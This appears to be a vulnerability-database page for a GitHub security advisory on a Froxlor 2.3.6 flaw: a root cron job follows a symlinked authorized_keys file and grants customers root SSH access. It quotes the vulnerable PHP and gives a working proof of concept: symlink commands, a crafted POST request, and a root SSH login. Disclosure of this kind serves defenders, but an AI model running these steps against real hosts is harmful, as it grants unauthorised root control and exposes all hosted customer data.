GHSA-MQ5V-PXPM-8JW2

Vulnerability from github – Published: 2026-05-29 15:40 – Updated: 2026-05-29 15:40
VLAI
Summary
Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path
Details

Summary

Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to ~/.ssh/authorized_keys under a customer-controlled home directory without verifying that the target path is not a symbolic link.

If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.

Details

The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into SshKeys::add():

// customer_ftp.php:251-253
if ($action == 'add' && Request::post('send') == 'send') {
    $result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key");
    Commands::get()->apiCall('SshKeys.add', Request::postAll());
}

On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:

// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145
if ($this->getUserDetail('shell_allowed') != '1') {
    throw new Exception("You cannot add SSH keys because shell access is disabled for your account.");
}

$ins_stmt = Database::prepare("
    INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`.
");
Settings::AddTask('rebuildnssusers');

Later, a root-owned cron path enters SshKeys::generateFiles() and derives the target path by simple string concatenation:

// lib/Froxlor/Cron/System/SshKeys.php:52-64
$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');
$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');
if (!file_exists($authkeysfile)) {
    touch($authkeysfile);
}

The helper used here only normalizes the path string and does not resolve or reject symlinks:

// lib/Froxlor/FileDir.php:376-392
public static function makeCorrectFile(string $file): string
{
    $file = str_replace('//', '/', $file);
    $file = str_replace('\\', '', $file);
    return $file;
}

The root-owned sync code then appends attacker-controlled SSH key material to the derived path:

// lib/Froxlor/Cron/System/SshKeys.php:94-103
file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX);
chown($authkeysfile, $userinfo['uid']);
chgrp($authkeysfile, $userinfo['gid']);

Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at ~/.ssh/authorized_keys before the privileged synchronization step runs.

PoC

An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.

Relevant runtime prerequisites:

  • the attacker controls a customer-owned home directory on the target host
  • the attacking customer has shell_allowed=1
  • the attacker can submit SSH keys through the Froxlor panel
  • Froxlor's master cron runs with the intended root privileges

Complete PoC flow:

  1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys
ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys
  1. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:
POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated customer session>

csrf_token=VALID_CSRF_TOKEN&
send=send&
description=poc&
ftpuser=17&
ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host
  1. Wait for Froxlor's master cron to process the queued REBUILD_NSSUSERS task.
  2. Use the corresponding private key to authenticate as root:
ssh -i id_ed25519 root@target.example

Result:

  • the root-owned cron task follows the symlinked authorized_keys path
  • the submitted public key is appended to /root/.ssh/authorized_keys
  • SSH access as root succeeds with the attacker's key pair

Impact

This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.6"
            },
            {
              "fixed": "2.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.3.6"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41236"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T15:40:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nFroxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link.\n\nIf an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor\u0027s privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root\u0027s authorized key file, resulting in root SSH access.\n\n### Details\nThe customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into `SshKeys::add()`:\n\n```php\n// customer_ftp.php:251-253\nif ($action == \u0027add\u0027 \u0026\u0026 Request::post(\u0027send\u0027) == \u0027send\u0027) {\n    $result = $log-\u003elogAction(USR_ACTION, LOG_INFO, \"added SSH-key\");\n    Commands::get()-\u003eapiCall(\u0027SshKeys.add\u0027, Request::postAll());\n}\n```\n\nOn the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:\n\n```php\n// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145\nif ($this-\u003egetUserDetail(\u0027shell_allowed\u0027) != \u00271\u0027) {\n    throw new Exception(\"You cannot add SSH keys because shell access is disabled for your account.\");\n}\n\n$ins_stmt = Database::prepare(\"\n    INSERT INTO `\" . TABLE_PANEL_CUSTOMERS_SSH .\"`.\n\");\nSettings::AddTask(\u0027rebuildnssusers\u0027);\n```\n\nLater, a root-owned cron path enters `SshKeys::generateFiles()` and derives the target path by simple string concatenation:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:52-64\n$sshdir = FileDir::makeCorrectDir($userinfo[\u0027homedir\u0027] . \u0027/.ssh\u0027);\n$authkeysfile = FileDir::makeCorrectFile($sshdir . \u0027/authorized_keys\u0027);\nif (!file_exists($authkeysfile)) {\n    touch($authkeysfile);\n}\n```\n\nThe helper used here only normalizes the path string and does not resolve or reject symlinks:\n\n```php\n// lib/Froxlor/FileDir.php:376-392\npublic static function makeCorrectFile(string $file): string\n{\n    $file = str_replace(\u0027//\u0027, \u0027/\u0027, $file);\n    $file = str_replace(\u0027\\\\\u0027, \u0027\u0027, $file);\n    return $file;\n}\n```\n\nThe root-owned sync code then appends attacker-controlled SSH key material to the derived path:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:94-103\nfile_put_contents($authkeysfile, $userinfo[\u0027ssh-rsa\u0027] . \"\\n\", FILE_APPEND | LOCK_EX);\nchown($authkeysfile, $userinfo[\u0027uid\u0027]);\nchgrp($authkeysfile, $userinfo[\u0027gid\u0027]);\n```\n\nBecause Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at `~/.ssh/authorized_keys` before the privileged synchronization step runs.\n\n\n### PoC\nAn attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.\n\nRelevant runtime prerequisites:\n\n- the attacker controls a customer-owned home directory on the target host\n- the attacking customer has `shell_allowed=1`\n- the attacker can submit SSH keys through the Froxlor panel\n- Froxlor\u0027s master cron runs with the intended root privileges\n\nComplete PoC flow:\n\n1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:\n\n```bash\nmkdir -p ~/.ssh\nrm -f ~/.ssh/authorized_keys\nln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys\n```\n\n2. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:\n\n```http\nPOST /customer_ftp.php?page=sshkeys\u0026action=add HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\nCookie: \u003cauthenticated customer session\u003e\n\ncsrf_token=VALID_CSRF_TOKEN\u0026\nsend=send\u0026\ndescription=poc\u0026\nftpuser=17\u0026\nssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host\n```\n\n3. Wait for Froxlor\u0027s master cron to process the queued `REBUILD_NSSUSERS` task.\n4. Use the corresponding private key to authenticate as root:\n\n```bash\nssh -i id_ed25519 root@target.example\n```\n\nResult:\n\n- the root-owned cron task follows the symlinked `authorized_keys` path\n- the submitted public key is appended to `/root/.ssh/authorized_keys`\n- SSH access as `root` succeeds with the attacker\u0027s key pair\n\n### Impact\nThis is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.",
  "id": "GHSA-mq5v-pxpm-8jw2",
  "modified": "2026-05-29T15:40:23Z",
  "published": "2026-05-29T15:40:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-mq5v-pxpm-8jw2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…